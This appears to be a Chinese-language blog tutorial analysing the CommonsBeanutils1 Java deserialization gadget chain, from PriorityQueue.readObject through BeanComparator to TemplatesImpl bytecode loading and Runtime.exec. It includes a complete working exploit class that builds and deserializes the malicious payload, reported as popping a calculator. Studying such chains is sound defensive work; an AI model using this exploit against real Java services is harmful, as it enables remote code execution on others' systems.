CommonsBeanutils1利用链分析
CommonsBeanutils1利用链分析
反序列化调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
了解Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。
比如这是一个最简单的JavaBean类
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一个私有属性name,和读取和设置这两个方法,又称为getter和setter。其中getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean的getter方法,比如:
PropertyUtils.getProperty(new Cat(), "name");
可以直接调用getName方法。获得返回值。此外还支持通过PropertyUtils.getProperty(a, "b.c");
的递归方式获取。通过这个方式,使用者可以很方便地调用任意对象的getter。
我们需要找的是可利用的java.util.Comparator
对象。
而在这里就有一个org.apache.commons.beanutils.BeanComparator
我们来看下它的compare方法。
这个方法传入两个对象,如果 this.property
为空,则直接比较这两个对象;如果 this.property
不 为空,则用 PropertyUtils.getProperty
分别取这两个对象的 this.property
属性,比较属性的值。
那么,有什么getter方法可以执行恶意代码呢?
这个方法就是前面找到的TemplatesImpl#getOutputProperties()
方法。它的内部调用了TemplatesImpl#newTransformer()
也就是经常用来执行恶意字节码的方法。而这个方法正好是get开头。
所以PropertyUtils.getProperty(o1, property);
当o1是一个TemplatesImpl
对象,而property
的值为outputProperties
时,将会自动调用getter,执行TemplatesImpl#getOutputProperties()
方法。
反序列化利用链构造
首先还是创建TemplateImpl
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后实例化我们刚开始讲的BeanComparator
final BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
所以最终exp
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception
{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
成功弹出计算器
利用流程
首先进入PriorityQueue
的readObject
方法。
然后跟进
进入siftDown方法
然后来到了BeanComparator
的compare
方法
然后就是执行TemplatesImpl
加载字节码的过程